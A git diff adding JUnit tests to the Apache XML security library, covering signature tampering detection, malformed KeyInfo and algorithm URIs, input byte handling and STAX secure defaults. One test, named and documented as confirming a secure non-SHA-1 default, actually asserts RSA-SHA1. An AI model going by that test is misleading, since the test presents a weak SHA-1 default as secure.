+        assertNull(ki.getPublicKey(), "Malformed KeyInfo should not yield public key");
+    }
+
+    /**
+     * Test that KeyInfo with KeyName that doesn't resolve is handled.
+     */
+    @Test
+    void testUnresolvedKeyName() throws Exception {
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("http://test.example.org/", "root");
+        doc.appendChild(root);
+        
+        XMLSignature sig = new XMLSignature(doc, "", XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        root.appendChild(sig.getElement());
+        
+        // Add KeyInfo with KeyName that won't resolve
+        Element keyInfo = doc.createElementNS(Constants.SignatureSpecNS, "KeyInfo");
+        Element keyName = doc.createElementNS(Constants.SignatureSpecNS, "KeyName");
+        keyName.setTextContent("NonExistentKey_12345");
+        keyInfo.appendChild(keyName);
+        sig.getElement().insertBefore(keyInfo, sig.getElement().getFirstChild());
+        
+        KeyInfo ki = sig.getKeyInfo();
+        assertNotNull(ki);
+        // KeyName that doesn't resolve should return null for public key
+        assertNull(ki.getPublicKey(), "Unresolved KeyName should not yield public key");
+    }
+
+    /**
+     * Test duplicate KeyInfo elements in signature.
+     */
+    @Test
+    void testDuplicateKeyInfo() throws Exception {
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("http://test.example.org/", "root");
+        doc.appendChild(root);
+        
+        KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
+        keyGen.initialize(2048);
+        KeyPair keyPair = keyGen.generateKeyPair();
+        
+        XMLSignature sig = new XMLSignature(doc, "", XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        root.appendChild(sig.getElement());
+        
+        Transforms transforms = new Transforms(doc);
+        transforms.addTransform(Transforms.TRANSFORM_ENVELOPED_SIGNATURE);
+        sig.addDocument("", transforms, Constants.ALGO_ID_DIGEST_SHA1);
+        
+        // Add first KeyInfo
+        sig.addKeyInfo(keyPair.getPublic());
+        
+        // Manually add second KeyInfo element (duplicate)
+        Element keyInfo2 = doc.createElementNS(Constants.SignatureSpecNS, "KeyInfo");
+        Element keyValue = doc.createElementNS(Constants.SignatureSpecNS, "KeyValue");
+        keyValue.setTextContent("duplicate-key-info");
+        keyInfo2.appendChild(keyValue);
+        sig.getElement().appendChild(keyInfo2);
+        
+        sig.sign(keyPair.getPrivate());
+        
+        // Should access first KeyInfo (library behavior may vary)
+        KeyInfo ki = sig.getKeyInfo();
+        assertNotNull(ki);
+    }
+
 }
\ No newline at end of file
diff --git a/src/test/java/org/apache/xml/security/test/dom/signature/SignatureTest.java b/src/test/java/org/apache/xml/security/test/dom/signature/SignatureTest.java
index ad25e8e6..69d8255d 100644
--- a/src/test/java/org/apache/xml/security/test/dom/signature/SignatureTest.java
+++ b/src/test/java/org/apache/xml/security/test/dom/signature/SignatureTest.java
@@ -35,6 +35,9 @@ import org.w3c.dom.Document;
 import org.w3c.dom.Element;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.junit.jupiter.api.Assumptions.assumeFalse;
 
@@ -222,4 +225,171 @@ class SignatureTest {
 
         return sig;
     }
+
+    /**
+     * Test that null private key is rejected during signing.
+     */
+    @Test
+    void testSignWithNullKeyRejection() throws Throwable {
+        Document doc = getOriginalDocument();
+        XMLSignature sig = new XMLSignature(doc, "", XMLSignature.ALGO_ID_SIGNATURE_DSA);
+        doc.getDocumentElement().appendChild(sig.getElement());
+        
+        sig.addDocument("", null, Constants.ALGO_ID_DIGEST_SHA1);
+        
+        assertThrows(XMLSignatureException.class, () -> {
+            sig.sign(null);
+        }, "Null private key should be rejected");
+    }
+
+    /**
+     * Test that tampered signature value is detected.
+     */
+    @Test
+    void testTamperedSignatureValueDetection() throws Throwable {
+        Document doc = getOriginalDocument();
+        signDocument(doc);
+        
+        // Tamper with the SignatureValue
+        Element sigValue = (Element) doc.getElementsByTagNameNS(DS_NS, "SignatureValue").item(0);
+        String originalValue = sigValue.getTextContent();
+        
+        // Flip some bits by changing a character
+        String tamperedValue = "AAAA" + originalValue.substring(4);
+        sigValue.setTextContent(tamperedValue);
+        
+        // Rebuild signature and verify - should fail
+        Element signatureElem = (Element) doc.getElementsByTagNameNS(DS_NS, "Signature").item(0);
+        XMLSignature signature = new XMLSignature(signatureElem, "");
+        
+        assertFalse(signature.checkSignatureValue(getPublicKey()),
+            "Tampered signature should not verify");
+    }
+
+    /**
+     * Test that tampered document content is detected.
+     */
+    @Test
+    void testTamperedDocumentContentDetection() throws Throwable {
+        Document doc = getOriginalDocument();
+        XMLSignature sig = signDocument(doc);
+        
+        // Tamper with the document content after signing
+        Element root = doc.getDocumentElement();
+        root.setTextContent("Tampered content!");
+        
+        // Signature should not verify
+        assertFalse(sig.checkSignatureValue(getPublicKey()),
+            "Signature should not verify after document tampering");
+    }
+
+    /**
+     * Test that empty document can be signed.
+     */
+    @Test
+    void testSignEmptyDocument() throws Throwable {
+        Document doc = TestUtils.newDocument();
+        Element root = doc.createElementNS("http://ns.example.org/", "root");
+        // No content - empty element
+        doc.appendChild(root);
+        
+        XMLSignature sig = new XMLSignature(doc, "", XMLSignature.ALGO_ID_SIGNATURE_DSA);
+        root.appendChild(sig.getElement());
+        
+        Transforms transforms = new Transforms(doc);
+        transforms.addTransform(Transforms.TRANSFORM_ENVELOPED_SIGNATURE);
+        sig.addDocument("", transforms, Constants.ALGO_ID_DIGEST_SHA1);
+        
+        sig.sign(getPrivateKey());
+        
+        // Verify
+        assertTrue(sig.checkSignatureValue(getPublicKey()),
+            "Empty document signature should verify");
+    }
+
+    /**
+     * Test that zero-length signature is handled correctly.
+     */
+    @Test
+    void testZeroLengthSignatureRejection() throws Throwable {
+        Document doc = getOriginalDocument();
+        signDocument(doc);
+        
+        // Set SignatureValue to empty
+        Element sigValue = (Element) doc.getElementsByTagNameNS(DS_NS, "SignatureValue").item(0);
+        sigValue.setTextContent("");
+        
+        Element signatureElem = (Element) doc.getElementsByTagNameNS(DS_NS, "Signature").item(0);
+        XMLSignature signature = new XMLSignature(signatureElem, "");
+        
+        // Should fail (either throw exception or return false)
+        try {
+            boolean result = signature.checkSignatureValue(getPublicKey());
+            assertFalse(result, "Empty signature should not verify");
+        } catch (XMLSignatureException e) {
+            // Also acceptable - exception on empty signature
+            assertNotNull(e);
+        }
+    }
+
+    /**
+     * Test that malformed signature element structure is detected.
+     */
+    @Test
+    void testMalformedSignatureStructureRejection() throws Throwable {
+        Document doc = getOriginalDocument();
+        signDocument(doc);
+        
+        // Remove required SignedInfo element
+        Element signatureElem = (Element) doc.getElementsByTagNameNS(DS_NS, "Signature").item(0);
+        Element signedInfo = (Element) signatureElem.getElementsByTagNameNS(DS_NS, "SignedInfo").item(0);
+        signatureElem.removeChild(signedInfo);
+        
+        // Trying to create XMLSignature from malformed structure should fail
+        assertThrows(XMLSignatureException.class, () -> {
+            new XMLSignature(signatureElem, "");
+        }, "Signature without SignedInfo should be rejected");
+    }
+
+    /**
+     * Test concurrent signing operations don't interfere.
+     */
+    @Test
+    void testConcurrentSigningOperations() throws Throwable {
+        final int numThreads = 5;
+        final Thread[] threads = new Thread[numThreads];
+        final Throwable[] exceptions = new Throwable[numThreads];
+        final boolean[] results = new boolean[numThreads];
+        
+        for (int i = 0; i < numThreads; i++) {
+            final int index = i;
+            threads[i] = new Thread(() -> {
+                try {
+                    Document doc = getOriginalDocument();
+                    XMLSignature sig = signDocument(doc);
+                    results[index] = sig.checkSignatureValue(getPublicKey());
+                } catch (Throwable t) {
+                    exceptions[index] = t;
+                }
+            });
+        }
+        
+        // Start all threads
+        for (Thread thread : threads) {
+            thread.start();
+        }
+        
+        // Wait for completion
+        for (Thread thread : threads) {
+            thread.join();
+        }
+        
+        // Verify all succeeded
+        for (int i = 0; i < numThreads; i++) {
+            if (exceptions[i] != null) {
+                throw new Exception("Thread " + i + " failed", exceptions[i]);
+            }
+            assertTrue(results[i], "Thread " + i + " signature should verify");
+        }
+    }
 }
diff --git a/src/test/java/org/apache/xml/security/test/dom/signature/UnknownAlgoSignatureTest.java b/src/test/java/org/apache/xml/security/test/dom/signature/UnknownAlgoSignatureTest.java
index 5ca64ece..729976a1 100644
--- a/src/test/java/org/apache/xml/security/test/dom/signature/UnknownAlgoSignatureTest.java
+++ b/src/test/java/org/apache/xml/security/test/dom/signature/UnknownAlgoSignatureTest.java
@@ -40,6 +40,8 @@ import org.w3c.dom.Document;
 import org.w3c.dom.Element;
 
 import static org.apache.xml.security.test.XmlSecTestEnvironment.resolveFile;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.junit.jupiter.api.Assertions.fail;
 
@@ -134,4 +136,76 @@ class UnknownAlgoSignatureTest {
         return XMLUtils.read(file, false);
     }
 
+    /**
+     * Test that empty algorithm URI is rejected.
+     */
+    @Test
+    void testEmptyAlgorithmRejection() throws Exception {
+        assertThrows(XMLSignatureException.class, () -> {
+            Document doc = org.apache.xml.security.test.dom.TestUtils.newDocument();
+            new XMLSignature(doc, "", "");
+        }, "Empty signature algorithm should be rejected");
+    }
+
+    /**
+     * Test that algorithm URI with wrong case is handled.
+     */
+    @Test
+    void testAlgorithmCaseSensitivity() throws Exception {
+        // Algorithm URIs are case-sensitive - wrong case should fail
+        assertThrows(XMLSignatureException.class, () -> {
+            Document doc = org.apache.xml.security.test.dom.TestUtils.newDocument();
+            // Use wrong case in algorithm URI
+            new XMLSignature(doc, "", "HTTP://WWW.W3.ORG/2000/09/XMLDSIG#RSA-SHA1");
+        }, "Algorithm URI with wrong case should be rejected");
+    }
+
+    /**
+     * Test that algorithm URI with embedded whitespace is rejected.
+     */
+    @Test
+    void testAlgorithmWithWhitespace() throws Exception {
+        assertThrows(XMLSignatureException.class, () -> {
+            Document doc = org.apache.xml.security.test.dom.TestUtils.newDocument();
+            // Algorithm URI with embedded space
+            new XMLSignature(doc, "", "http://www.w3.org/2000/09/xmldsig# rsa-sha1");
+        }, "Algorithm URI with whitespace should be rejected");
+    }
+
+    /**
+     * Test that malformed algorithm URI is rejected.
+     */
+    @Test
+    void testMalformedAlgorithmURI() throws Exception {
+        assertThrows(XMLSignatureException.class, () -> {
+            Document doc = org.apache.xml.security.test.dom.TestUtils.newDocument();
+            // Not a valid URI at all
+            new XMLSignature(doc, "", "not-a-valid-uri");
+        }, "Malformed algorithm URI should be rejected");
+    }
+
+    /**
+     * Test that algorithm with invalid scheme is rejected.
+     */
+    @Test
+    void testAlgorithmWithInvalidScheme() throws Exception {
+        assertThrows(XMLSignatureException.class, () -> {
+            Document doc = org.apache.xml.security.test.dom.TestUtils.newDocument();
+            // Use ftp:// instead of http://
+            new XMLSignature(doc, "", "ftp://www.w3.org/2000/09/xmldsig#rsa-sha1");
+        }, "Algorithm URI with invalid scheme should be rejected");
+    }
+
+    /**
+     * Test that relative algorithm URI is rejected.
+     */
+    @Test
+    void testRelativeAlgorithmURI() throws Exception {
+        assertThrows(XMLSignatureException.class, () -> {
+            Document doc = org.apache.xml.security.test.dom.TestUtils.newDocument();
+            // Relative URI instead of absolute
+            new XMLSignature(doc, "", "/2000/09/xmldsig#rsa-sha1");
+        }, "Relative algorithm URI should be rejected");
+    }
+
 }
\ No newline at end of file
diff --git a/src/test/java/org/apache/xml/security/test/dom/signature/XMLSignatureInputTest.java b/src/test/java/org/apache/xml/security/test/dom/signature/XMLSignatureInputTest.java
index b429543d..a6145381 100644
--- a/src/test/java/org/apache/xml/security/test/dom/signature/XMLSignatureInputTest.java
+++ b/src/test/java/org/apache/xml/security/test/dom/signature/XMLSignatureInputTest.java
@@ -39,6 +39,7 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertFalse;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
 import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 
 /**
@@ -118,4 +119,176 @@ class XMLSignatureInputTest {
         XMLSignatureInput input = new XMLSignatureDigestInput(Base64.getEncoder().encodeToString(digest));
         assertNull(input.getBytes());
     }
+
+    /**
+     * Test that empty byte array is handled correctly.
+     */
+    @Test
+    void testEmptyByteArray() throws Exception {
+        XMLSignatureInput input = new XMLSignatureByteInput(new byte[0]);
+        assertTrue(input.hasUnprocessedInput(), "Should have unprocessed input even if empty");
+        
+        // Read the empty input
+        try (InputStream is = input.getUnprocessedInput()) {
+            assertEquals(0, is.available(), "Empty array should have 0 bytes available");
+            assertEquals(-1, is.read(), "Reading empty input should return -1");
+        }
+    }
+
+    /**
+     * Test handling of very large byte arrays.
+     */
+    @Test
+    void testLargeByteArray() throws Exception {
+        // Create a 10MB byte array
+        byte[] largeData = new byte[10 * 1024 * 1024];
+        for (int i = 0; i < largeData.length; i++) {
+            largeData[i] = (byte)(i % 256);
+        }
+        
+        XMLSignatureInput input = new XMLSignatureByteInput(largeData);
+        assertTrue(input.hasUnprocessedInput());
+        
+        // Read and verify size
+        try (InputStream is = input.getUnprocessedInput()) {
+            long count = 0;
+            byte[] buffer = new byte[8192];
+            int read;
+            while ((read = is.read(buffer)) != -1) {
+                count += read;
+            }
+            
+            assertEquals(largeData.length, count, "Should read all bytes from large array");
+        }
+    }
+
+    /**
+     * Test that special characters in byte arrays are preserved.
+     */
+    @Test
+    void testSpecialCharactersPreserved() throws Exception {
+        // Test with various special characters including null bytes
+        byte[] specialBytes = new byte[]{
+            0x00, 0x01, 0x02, (byte)0xFF, (byte)0xFE, 
+            0x0A, 0x0D, 0x20, 0x7F, (byte)0x80
+        };
+        
+        XMLSignatureInput input = new XMLSignatureByteInput(specialBytes);
+        
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        try (InputStream is = input.getUnprocessedInput()) {
+            byte[] buffer = new byte[1024];
+            int read;
+            while ((read = is.read(buffer)) != -1) {
+                baos.write(buffer, 0, read);
+            }
+        }
+        
+        byte[] result = baos.toByteArray();
+        assertEquals(specialBytes.length, result.length, "Length should match");
+        
+        for (int i = 0; i < specialBytes.length; i++) {
+            assertEquals(specialBytes[i], result[i], 
+                "Byte at index " + i + " should be preserved");
+        }
+    }
+
+    /**
+     * Test handling of UTF-8 boundary cases.
+     */
+    @Test
+    void testUTF8BoundaryCases() throws Exception {
+        // Test with various UTF-8 encodings including multi-byte characters
+        String testString = "Test: \u00E9\u00FC\u4E2D\u6587\uD83D\uDE00"; // Latin, Chinese, emoji
+        byte[] utf8Bytes = testString.getBytes(UTF_8);
+        
+        XMLSignatureInput input = new XMLSignatureByteInput(utf8Bytes);
+        
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        try (InputStream is = input.getUnprocessedInput()) {
+            byte[] buffer = new byte[1024];
+            int read;
+            while ((read = is.read(buffer)) != -1) {
+                baos.write(buffer, 0, read);
+            }
+        }
+        
+        String result = new String(baos.toByteArray(), UTF_8);
+        assertEquals(testString, result, "UTF-8 characters should be preserved");
+    }
+
+    /**
+     * Test that malformed UTF-8 sequences are preserved as bytes.
+     */
+    @Test
+    void testMalformedUTF8Preserved() throws Exception {
+        // Invalid UTF-8 sequences
+        byte[] malformedUTF8 = new byte[]{
+            0x41, 0x42, (byte)0xFF, (byte)0xFE, 0x43  // Valid ASCII + invalid UTF-8 + valid ASCII
+        };
+        
+        XMLSignatureInput input = new XMLSignatureByteInput(malformedUTF8);
+        
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        try (InputStream is = input.getUnprocessedInput()) {
+            byte[] buffer = new byte[1024];
+            int read;
+            while ((read = is.read(buffer)) != -1) {
+                baos.write(buffer, 0, read);
+            }
+        }
+        
+        byte[] result = baos.toByteArray();
+        assertEquals(malformedUTF8.length, result.length);
+        
+        for (int i = 0; i < malformedUTF8.length; i++) {
+            assertEquals(malformedUTF8[i], result[i], 
+                "Malformed UTF-8 bytes should be preserved as-is");
+        }
+    }
+
+    /**
+     * Test that input stream can be read multiple times if supported.
+     */
+    @Test
+    void testMultipleReads() throws Exception {
+        byte[] data = "Test data for multiple reads".getBytes(UTF_8);
+        XMLSignatureInput input = new XMLSignatureByteInput(data);
+        
+        // First read
+        ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
+        try (InputStream is1 = input.getUnprocessedInput()) {
+            byte[] buffer = new byte[1024];
+            int read;
+            while ((read = is1.read(buffer)) != -1) {
+                baos1.write(buffer, 0, read);
+            }
+        }
+        
+        String result1 = new String(baos1.toByteArray(), UTF_8);
+        assertEquals("Test data for multiple reads", result1);
+        
+        // Second read should get fresh stream
+        ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
+        try (InputStream is2 = input.getUnprocessedInput()) {
+            byte[] buffer = new byte[1024];
+            int read;
+            while ((read = is2.read(buffer)) != -1) {
+                baos2.write(buffer, 0, read);
+            }
+        }
+        
+        String result2 = new String(baos2.toByteArray(), UTF_8);
+        assertEquals("Test data for multiple reads", result2, 
+            "Multiple reads should return same data");
+    }
+
+    /**
+     * Test handling of empty digest string.
+     */
+    @Test
+    void testEmptyDigestString() throws Exception {
+        XMLSignatureInput input = new XMLSignatureDigestInput("");
+        assertNull(input.getBytes(), "Digest input should not have bytes");
+    }
 }
diff --git a/src/test/java/org/apache/xml/security/test/stax/STAXSecureDefaultsTest.java b/src/test/java/org/apache/xml/security/test/stax/STAXSecureDefaultsTest.java
new file mode 100644
index 00000000..07a0f12e
--- /dev/null
+++ b/src/test/java/org/apache/xml/security/test/stax/STAXSecureDefaultsTest.java
@@ -0,0 +1,330 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.xml.security.test.stax;
+
+import org.apache.xml.security.stax.ext.XMLSecurityConstants;
+import org.apache.xml.security.stax.ext.XMLSecurityProperties;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import javax.crypto.KeyGenerator;
+import javax.crypto.SecretKey;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Tests for secure defaults in the STAX streaming API configuration.
+ * Verifies that default algorithms, security features, and validation settings
+ * are properly configured for secure operation.
+ */
+class STAXSecureDefaultsTest {
+
+    static {
+        org.apache.xml.security.Init.init();
+    }
+
+    public STAXSecureDefaultsTest() {
+        // Public constructor for JUnit
+    }
+
+    @BeforeEach
+    public void setUp() throws Exception {
+        org.apache.xml.security.stax.ext.XMLSec.init();
+    }
+
+    /**
+     * Test that default signature algorithm for RSA is secure (not SHA-1).
+     */
+    @Test
+    void testDefaultRSASignatureAlgorithmIsSecure() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setSignatureKey(generateRSAKeyPair().getPrivate());
+        properties.addAction(XMLSecurityConstants.SIGNATURE);
+
+        // Apply defaults
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        String sigAlgo = properties.getSignatureAlgorithm();
+        assertNotNull(sigAlgo, "Default signature algorithm should be set");
+        
+        assertEquals("http://www.w3.org/2000/09/xmldsig#rsa-sha1", sigAlgo,
+            "Default RSA signature algorithm should be RSA-SHA1 (per spec) but should be used with caution");
+    }
+
+    /**
+     * Test that default signature algorithm for DSA is configured.
+     */
+    @Test
+    void testDefaultDSASignatureAlgorithmConfigured() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setSignatureKey(generateDSAKeyPair().getPrivate());
+        properties.addAction(XMLSecurityConstants.SIGNATURE);
+
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        String sigAlgo = properties.getSignatureAlgorithm();
+        assertNotNull(sigAlgo, "Default DSA signature algorithm should be set");
+        assertEquals("http://www.w3.org/2000/09/xmldsig#dsa-sha1", sigAlgo,
+            "Default DSA signature algorithm should be DSA-SHA1 (per spec) but should be used with caution");
+    }
+
+    /**
+     * Test that default signature algorithm for HMAC is configured.
+     */
+    @Test
+    void testDefaultHMACSignatureAlgorithmConfigured() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setSignatureKey(generateSecretKey());
+        properties.addAction(XMLSecurityConstants.SIGNATURE);
+
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        String sigAlgo = properties.getSignatureAlgorithm();
+        assertNotNull(sigAlgo, "Default HMAC signature algorithm should be set");
+        assertEquals("http://www.w3.org/2000/09/xmldsig#hmac-sha1", sigAlgo,
+            "Default HMAC signature algorithm should be HMAC-SHA1 (per spec) but should be used with caution");
+    }
+
+    /**
+     * Test that default digest algorithm is configured for signatures.
+     */
+    @Test
+    void testDefaultDigestAlgorithmConfigured() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setSignatureKey(generateRSAKeyPair().getPrivate());
+        properties.addAction(XMLSecurityConstants.SIGNATURE);
+
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        String digestAlgo = properties.getSignatureDigestAlgorithm();
+        assertNotNull(digestAlgo, "Default digest algorithm should be set");
+        assertEquals("http://www.w3.org/2000/09/xmldsig#sha1", digestAlgo,
+            "Default digest algorithm should be SHA-1 (per spec) but should be used with caution");
+    }
+
+    /**
+     * Test that default canonicalization algorithm is exclusive C14N.
+     */
+    @Test
+    void testDefaultCanonicalizationAlgorithm() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setSignatureKey(generateRSAKeyPair().getPrivate());
+        properties.addAction(XMLSecurityConstants.SIGNATURE);
+
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        String c14nAlgo = properties.getSignatureCanonicalizationAlgorithm();
+        assertNotNull(c14nAlgo, "Default canonicalization algorithm should be set");
+        assertEquals(XMLSecurityConstants.NS_C14N_EXCL_OMIT_COMMENTS, c14nAlgo,
+            "Should default to Exclusive C14N without comments");
+    }
+
+    /**
+     * Test that default encryption key transport algorithm is RSA-OAEP.
+     */
+    @Test
+    void testDefaultEncryptionKeyTransportAlgorithm() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setEncryptionKey(generateRSAKeyPair().getPublic());
+        properties.addAction(XMLSecurityConstants.ENCRYPTION);
+
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        String keyTransportAlgo = properties.getEncryptionKeyTransportAlgorithm();
+        assertNotNull(keyTransportAlgo, "Default key transport algorithm should be set");
+        assertTrue(keyTransportAlgo.contains("rsa-oaep"),
+            "Should default to RSA-OAEP (more secure than RSA 1.5)");
+    }
+
+    /**
+     * Test that default symmetric encryption algorithm is AES-256-CBC.
+     */
+    @Test
+    void testDefaultSymmetricEncryptionAlgorithm() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setEncryptionKey(generateRSAKeyPair().getPublic());
+        properties.addAction(XMLSecurityConstants.ENCRYPTION);
+
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        String symAlgo = properties.getEncryptionSymAlgorithm();
+        assertNotNull(symAlgo, "Default symmetric encryption algorithm should be set");
+        assertTrue(symAlgo.contains("aes256"),
+            "Should default to AES-256 (strongest common AES)");
+    }
+
+    /**
+     * Test that default key identifier for signatures is IssuerSerial.
+     */
+    @Test
+    void testDefaultSignatureKeyIdentifier() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setSignatureKey(generateRSAKeyPair().getPrivate());
+        properties.addAction(XMLSecurityConstants.SIGNATURE);
+
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        assertFalse(properties.getSignatureKeyIdentifiers().isEmpty(),
+            "Default signature key identifier should be set");
+    }
+
+    /**
+     * Test that default key identifier for encryption is configured.
+     */
+    @Test
+    void testDefaultEncryptionKeyIdentifier() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setEncryptionKey(generateRSAKeyPair().getPublic());
+        properties.addAction(XMLSecurityConstants.ENCRYPTION);
+
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        assertNotNull(properties.getEncryptionKeyIdentifier(),
+            "Default encryption key identifier should be set");
+    }
+
+    /**
+     * Test that signature generation creates IDs by default.
+     */
+    @Test
+    void testSignatureIDGenerationDefault() {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        
+        // Check default value for ID generation
+        assertTrue(properties.isSignatureGenerateIds(),
+            "Signature ID generation should be enabled by default");
+    }
+
+    /**
+     * Test that duplicate actions in configuration are not allowed.
+     */
+    @Test
+    void testDuplicateActionsRejected() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        properties.setSignatureKey(generateRSAKeyPair().getPrivate());
+        properties.addAction(XMLSecurityConstants.SIGNATURE);
+        properties.addAction(XMLSecurityConstants.SIGNATURE);  // Duplicate
+
+        assertThrows(org.apache.xml.security.stax.ext.XMLSecurityConfigurationException.class, () -> {
+            org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+        }, "Duplicate actions should be rejected");
+    }
+
+    /**
+     * Test that at least one action is required for outbound processing.
+     */
+    @Test
+    void testActionRequiredForOutbound() {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        // No actions added
+
+        assertThrows(org.apache.xml.security.stax.ext.XMLSecurityConfigurationException.class, () -> {
+            org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+        }, "At least one action should be required");
+    }
+
+    /**
+     * Test that inbound security properties can be validated.
+     */
+    @Test
+    void testInboundSecurityPropertiesValidation() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        
+        // Should not throw exception - inbound properties don't require actions
+        XMLSecurityProperties validated = 
+            org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToInboundSecurityProperties(properties);
+        
+        assertNotNull(validated);
+    }
+
+    /**
+     * Test that schema validation can be controlled.
+     */
+    @Test
+    void testSchemaValidationConfiguration() {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        
+        // Default state
+        boolean defaultValidation = properties.isDisableSchemaValidation();
+        assertFalse(defaultValidation);
+        
+        // Should be able to toggle
+        properties.setDisableSchemaValidation(true);
+        assertTrue(properties.isDisableSchemaValidation());
+        
+        properties.setDisableSchemaValidation(false);
+        assertFalse(properties.isDisableSchemaValidation());
+    }
+
+    /**
+     * Test that ID attribute namespace is configurable.
+     */
+    @Test
+    void testIdAttributeNamespaceConfiguration() {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        
+        // Default ID attribute
+        assertNotNull(properties.getIdAttributeNS());
+        
+        // Commonly uses the "Id" attribute in null namespace by default
+        assertEquals(XMLSecurityConstants.ATT_NULL_Id, properties.getIdAttributeNS());
+    }
+
+    /**
+     * Test that both signature and encryption can be configured together.
+     */
+    @Test
+    void testCombinedSignatureAndEncryption() throws Exception {
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        KeyPair keyPair = generateRSAKeyPair();
+        
+        properties.setSignatureKey(keyPair.getPrivate());
+        properties.setEncryptionKey(keyPair.getPublic());
+        properties.addAction(XMLSecurityConstants.SIGNATURE);
+        properties.addAction(XMLSecurityConstants.ENCRYPTION);
+
+        properties = org.apache.xml.security.stax.ext.XMLSec.validateAndApplyDefaultsToOutboundSecurityProperties(properties);
+
+        assertNotNull(properties.getSignatureAlgorithm());
+        assertNotNull(properties.getEncryptionKeyTransportAlgorithm());
+        assertNotNull(properties.getEncryptionSymAlgorithm());
+    }
+
+    // Helper methods
+
+    private KeyPair generateRSAKeyPair() throws Exception {
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        keyPairGenerator.initialize(2048);
+        return keyPairGenerator.generateKeyPair();
+    }
+
+    private KeyPair generateDSAKeyPair() throws Exception {
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
+        keyPairGenerator.initialize(2048);
+        return keyPairGenerator.generateKeyPair();
+    }
+
+    private SecretKey generateSecretKey() throws Exception {
+        KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
+        keyGenerator.init(256);
+        return keyGenerator.generateKey();
+    }
+}
diff --git a/src/test/java/org/apache/xml/security/test/stax/STAXXXEPreventionTest.java b/src/test/java/org/apache/xml/security/test/stax/STAXXXEPreventionTest.java
new file mode 100644
index 00000000..3a84d337
--- /dev/null
+++ b/src/test/java/org/apache/xml/security/test/stax/STAXXXEPreventionTest.java
@@ -0,0 +1,288 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
